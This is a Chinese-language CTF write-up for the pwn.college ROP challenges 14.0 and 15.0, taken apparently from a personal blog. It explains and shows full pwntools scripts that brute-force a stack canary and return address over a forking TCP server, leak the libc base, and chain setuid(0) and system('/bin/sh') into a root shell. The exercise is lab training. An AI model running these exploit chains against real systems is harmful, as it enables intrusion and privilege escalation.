level-14-and-15

题目简介

14.0和15.0两题放在一起,主要因为这两题方法类似,但又存在一些trick方面的坑

这两题目标程序的逻辑相同,均是监听端口、通过fork子进程处理请求,溢出点也在子进程

先以14.0为例,15.0和其非常类似,只是需要一个类似脑筋急转弯的trick,能想到就很容易,想不到就会一直卡住(比如我靠自己就死活没想到)

漏洞点分析

首先一样的checksec,看到保护全开

接下来使用IDA,反编译一下


看到main函数会不停的fork子进程,由子进程调用challenge函数来处理链接

main函数里正好也没发现溢出点,进challenge看一下,果不其然溢出点就在challenge的read这里

漏洞点利用

根据分析,漏洞利用思路就是:

首先爆破canary的值,爆破的理论基础见串联梳理:Pwn-Exp

之后爆破函数返回地址拿到程序本身的基地址

接着用程序本身的gadget去泄露libc基地址,类似level4的方法pwn.college题解:ROP-level-4

最后,拿到libc基地址,那就可以随便调用函数去拿shell了
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
import sys
targetELF="/challenge/babyrop_level14.0"
libcPath = "/lib/x86_64-linux-gnu/libc.so.6"
context(os='linux', arch='x86_64', terminal=['tmux', 'splitw', '-h'],log_level="debug")
# ioHandler=gdb.debug(targetELF,"b *main+785")

offset=72

elf=ELF(targetELF)
libc=ELF(libcPath)

pop_rdi_offset=0x26c3 #challenge里面的偏移,pop rdi碎片用challenge里面的

#爆破canary
knownCanary=b'\x00'
for i in range(7):
for test in range(256):
ioHandler=remote("localhost",1337)
ioHandler.recvuntil("might take anywhere from 0-12 bits of bruteforce depending on the scenario.")

testByte=test.to_bytes(1)
payload1=b'a'*(offset-16)+knownCanary+testByte

ioHandler.send(payload1)
response=ioHandler.recvall().decode()
if "stack smashing detected" not in response:
knownCanary+=testByte
break


#爆破返回地址,challenge里应该是回到……?636,main里面
retAddrOffset=0x2636
returnAddr=b''
for i in range(8):
if i==1 and returnAddr==b'':
print("爆破失败\n")
break
for test in range(256):
print("第{}次,遍历到了数字{}\n".format(i+1,test))
ioHandler=remote("localhost",1337)
ioHandler.recvuntil("might take anywhere from 0-12 bits of bruteforce depending on the scenario.")

payload2=b'a'*(offset-16)+knownCanary+b'a'*8+returnAddr+p8(test)
open("PayLoad","wb").write(payload2)

ioHandler.send(payload2)
ioHandler.recvuntil("Leaving!")
response=ioHandler.recvall(timeout=3).decode()
if "Goodbye" in response:
returnAddr+=p8(test)
break

returnAddr=int.from_bytes(returnAddr,"little")
elfBase=returnAddr-retAddrOffset
pop_rdiReal=elfBase+pop_rdi_offset
elf.address=elfBase
retPadAlign=elfBase+0x101a

#泄露libc基地址
pltAddr=elf.plt["puts"]
leakFuncName="setvbuf"
leakFuncOffset=libc.symbols[leakFuncName]
leakFuncGOT=elf.got[leakFuncName]


ioHandler=remote("localhost",1337)
ioHandler.recvuntil("might take anywhere from 0-12 bits of bruteforce depending on the scenario.")

payload3=b'a'*(offset-16) + knownCanary + b'a'*8 + p64(pop_rdiReal) + p64(leakFuncGOT) + p64(retPadAlign) + p64(pltAddr)
ioHandler.send(payload3)
ioHandler.recvuntil("Leaving!\n")

realAddr=u64(ioHandler.recv(6).ljust(8,b'\x00'))
libcBase=realAddr-libc.symbols[leakFuncName]

#print("泄露函数名={};真实地址={};该函数偏移={};libc基址={}\n".format(leakFuncName,hex(realAddr),hex(leakFuncOffset),hex(libcBase)))

#最后阶段,调用system的准备
sysAddr=libcBase+libc.symbols["system"]
setuidAddr=libcBase+libc.symbols["setuid"]
binshAddr=libcBase+next(libc.search("/bin/sh"))

#开始最后阶段调用system
ioHandler=remote("localhost",1337)
ioHandler.recvuntil("might take anywhere from 0-12 bits of bruteforce depending on the scenario.")
payload4=b'a'*(offset-16)+knownCanary+b'a'*8+p64(pop_rdiReal)+p64(0)+p64(setuidAddr)+p64(pop_rdiReal)+p64(binshAddr)+p64(sysAddr)
ioHandler.recv()
ioHandler.send(payload4)

ioHandler.recv()
ioHandler.interactive()

level15.0的trick

其实,level15.0和14.0的源码结构基本上都一致,唯一的区别就是15.0是在main函数里直接处理请求,因此没有challenge函数了

也就是说溢出后返回地址是libc里面的地址,如下图


这会带来一个问题,因为我们注意到在level14.0中,是如何判断返回地址爆破正确还是错误?是通过输出,因为如果返回到main函数,会相应输出”Goodbye”,如下:

1
2
3
if "Goodbye" in response:
returnAddr+=p8(test)
break

但是,15题是从main函数返回,转而调用exit,因此即便正确爆破返回地址,也没有任何输出供我们判断

这里卡了很久……,最后经提醒才想到:

为什么一定要爆破返回地址的值呢?

最终目的是拿到libc基址,又不是要爆破返回地址!

所以,既然原返回地址后面没输出,那就跳到main开始的地方去,那里有输出啊!

这样,思路就转化成爆__libc_start_main的地址即可,反正__libc_start_main也在libc库里面

综上,写出的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
import sys
import os
import subprocess
targetELF="/challenge/babyrop_level15.0"
libcPath = "/lib/x86_64-linux-gnu/libc.so.6"
context(os='linux', arch='x86_64', terminal=['tmux', 'splitw', '-h'],log_level="debug")
#ioHandler=gdb.debug(targetELF,"b *main+785")

offset=104

elf=ELF(targetELF)
libc=ELF(libcPath)

#爆破canary
knownCanary=b'\x00'

for i in range(7):
for test in range(256):
ioHandler=remote("localhost",1337)
ioHandler.recvuntil("might take anywhere from 0-12 bits of bruteforce depending on the scenario.")

testByte=test.to_bytes(1)
payload1=b'a'*(offset-16)+knownCanary+testByte

ioHandler.send(payload1)
response=ioHandler.recvall().decode()
if "stack smashing detected" not in response:
knownCanary+=testByte
break



def KillProc(response):
pattern = r"(\d+):\ttransferring control"
matches=re.findall(pattern,response)
if(matches):
pid=(int)(matches[0])
os.kill(pid, signal.SIGTERM)


#该如何衡量main函数的返回地址“猜对了”还是“猜错了”???
'''
main退出流程:
1 main->return 0,执行ret指令之前rsp指向的地方存着mov rdi,rax指令的地址,然后pop rip
2 跳去执行mov rdi,rax(此时rax=0),这个0将作为exit的参数
3 call exit
没有输出???
'''
def check(response):
if "This challenge is listening for connections on TCP port 1337." in response:
return True
else:
return False

#爆破__libc_start_main地址
returnAddr=b'\x2D'
for i in range(7):
if i==1 and returnAddr==b'\x2D':
print("爆破失败\n")
sys.exit()
for test in range(256):
print("第{}次,遍历到了数字{}\n".format(i+1,test))
ioHandler=remote("localhost",1337)
ioHandler.recvuntil("might take anywhere from 0-12 bits of bruteforce depending on the scenario.")

payload2=b'a'*(offset-16)+knownCanary+b'a'*8+returnAddr+p8(test)

ioHandler.send(payload2)
ioHandler.recvuntil("Leaving!")
response=ioHandler.recvall(timeout=3).decode()
ioHandler.close()
if check(response):
returnAddr+=p8(test)
break

returnAddr=int.from_bytes(returnAddr,"little")
#最后阶段,调用system的准备
iThinkRetOffset=0x2402d
libcBase=returnAddr-iThinkRetOffset
pop_rdiReal=libcBase+0x23b6a
sysAddr=libcBase+libc.symbols["system"]
setuidAddr=libcBase+libc.symbols["setuid"]
binshAddr=libcBase+next(libc.search("/bin/sh"))
#print("泄露出的返回地址={},认为偏移={},libc基地址={}\n".format(hex(returnAddr),hex(iThinkRetOffset),hex(libcBase)))

#开始最后阶段调用system
ioHandler=remote("localhost",1337)
ioHandler.recvuntil("might take anywhere from 0-12 bits of bruteforce depending on the scenario.")
payload4=b'a'*(offset-16)+knownCanary+b'a'*8+p64(pop_rdiReal)+p64(0)+p64(setuidAddr)+p64(pop_rdiReal)+p64(binshAddr)+p64(sysAddr)
ioHandler.recv()
ioHandler.send(payload4)

ioHandler.recv()
ioHandler.interactive()

哎,所以总结一下,还是那句话,时刻拷问自己:什么是目的,什么是手段,防止陷入思维定势分不清目标


level-14-and-15
http://0x4a-210.github.io/2025/07/20/pwn.college/Program-Securtity/ROP/level-14-and-15/
Posted on
July 20, 2025
Licensed under